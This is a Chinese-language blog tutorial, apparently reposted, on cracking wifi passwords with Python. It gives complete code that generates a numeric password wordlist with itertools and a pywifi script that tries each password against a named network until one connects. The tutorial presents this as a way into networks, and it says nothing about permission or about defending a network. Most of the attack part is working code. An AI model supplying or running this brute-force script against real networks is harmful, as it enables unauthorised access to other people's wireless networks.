教你如何使用Python破解wifi密码

在这里插入图片描述
首先要生成密码本

对于这个密码本就是我们常用的密码,一般是有数字、字母和符号组成。而现在呢?我们就用Python生成一个简单的密码本,这里用到的思路主要是穷举法。这里用到的库是itertools,没有的可以使用pip install itertools在DOS命令下安装,这个密码本生成很简单,就是几行代码而已。接下来我们一起分析。同样,我们先一步一步分析,后面会附上完整代码。

这里使用一个迭代器,就是我们需要生成密码所有的字符,可以是数字,符号和字母,我这里采用的是纯数字,是为了方便和节约时间。

words="1234567890"

下面就是生成密码的位数,但是这里要注意的是这个要考虑到电脑的配置,我生成七位的密码花了十多分钟,生成的文件大小约有85M,所以大家根据情况生成。

r=its.product(words,repeat=4)

因此生成的密码一般是字符串,而我之前生成的是单个的字符,所以我采用join,使用空格链接。

dic.write("".join(i))

好了,记下来就是完整的代码:

import itertools as its

 #迭代器

words="1234567890"

#生成密码本的位数,五位数,repeat=5

r=its.product(words,repeat=3)

#保存在文件中,追加

dic=open("./password.txt","a")

#i是元组

for i in r:

    #jion空格链接

    dic.write("".join(i))

    dic.write("".join("\n"))

    print(i)

dic.close()

print("密码本已生成")

破解wifi密码

这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是Python3,所以各位看的时候需要注意这一点。接下来我们一步一步分析主要代码,后面同样附上完整的代码。对了,需要注意一点,就是电脑必须是要用无线网卡的。

首先我们需要判断电脑是否已经连接wifi,创建一个无线对象,获取无线网卡。

wifi=pywifi.PyWiFi()

#获取无线网卡

ifaces=wifi.interfaces()[0]

print(ifaces)

使用这行代码就可以获取电脑无线网卡的名称:

print(ifaces.name())

要判断是否连接WiFi,我们需要导入一个常量库:

from pywifi import const

创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。代码如下:

profile=pywifi.Profile()

#要连接WiFi的名称

profile.ssid="jiayi"

#网卡的开放状态

profile.auth=const.AUTH_ALG_OPEN

#wifi加密算法,一般wifi加密算法为was

profile.akm.append(const.AKM_TYPE_WPA2PSK)

#加密单元

profile.cipher=const.CIPHER_TYPE_CCMP

删除所有连接过的wifi文件,重新设定新的连接文件,设置wifi连接时间,判断wifi是否连接,若连接,返回4,未连接,返回0.

#删除所有连接过的wifi文件

ifaces.remove_all_network_profiles()

#设定新的连接文件

tep_profile=ifaces.add_network_profile(profile)

ifaces.connect(tep_profile)

#wifi连接时间

time.sleep(3)

if ifaces.status()==const.IFACE_CONNECTED:

    return True

else:

    return False

接下来我们就需要一个密码本,然后采用只读的方式,一行一行读取,这里的密码本可以用我分享的这个,也用去网上下载一个常用wifi密码,只要是TXT文本就可以.

#密码本路径

path="C:/Users/ASUS/Desktop/password.txt"

#打开文件

file=open(path,"r")

while True:

    try:

        #一行一行读取

        pad=file.readline()

 好了,接下来就是完整的代码.

# coding:utf-8

import pywifi

from pywifi import const

import time

#测试连接,返回链接结果

def wifiConnect(pwd):

    #抓取网卡接口

    wifi=pywifi.PyWiFi()

    #获取第一个无线网卡

    ifaces=wifi.interfaces()[0]

    #断开所有连接

    ifaces.disconnect()

    time.sleep(1)

    wifistatus=ifaces.status()

    if wifistatus ==const.IFACE_DISCONNECTED:

        #创建WiFi连接文件

        profile=pywifi.Profile()

        #要连接WiFi的名称

        profile.ssid="jiayi"

        #网卡的开放状态

        profile.auth=const.AUTH_ALG_OPEN

        #wifi加密算法,一般wifi加密算法为wps

        profile.akm.append(const.AKM_TYPE_WPA2PSK)

        #加密单元

        profile.cipher=const.CIPHER_TYPE_CCMP

        #调用密码

        profile.key=pwd

        #删除所有连接过的wifi文件

        ifaces.remove_all_network_profiles()

        #设定新的连接文件

        tep_profile=ifaces.add_network_profile(profile)

        ifaces.connect(tep_profile)

        #wifi连接时间

        time.sleep(3)

        if ifaces.status()==const.IFACE_CONNECTED:

            return True

        else:

            return False

    else:

        print("已有wifi连接") 

#读取密码本

def readPassword():

    print("开始破解:")

    #密码本路径

    path="./password.txt"

    #打开文件

    file=open(path,"r")

    while True:

        try:

            #一行一行读取

            pad=file.readline()

            bool=wifiConnect(pad)
             
            if bool:

                print("密码已破解: ",pad)

                print("WiFi已自动连接!!!")

                break

            else:

                #跳出当前循环,进行下一次循环

                print("密码破解中....密码校对: ",pad)

        except:

            continue

readPassword()

本文转自:https://www.py.cn/toutiao/11159.html

  • 7
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值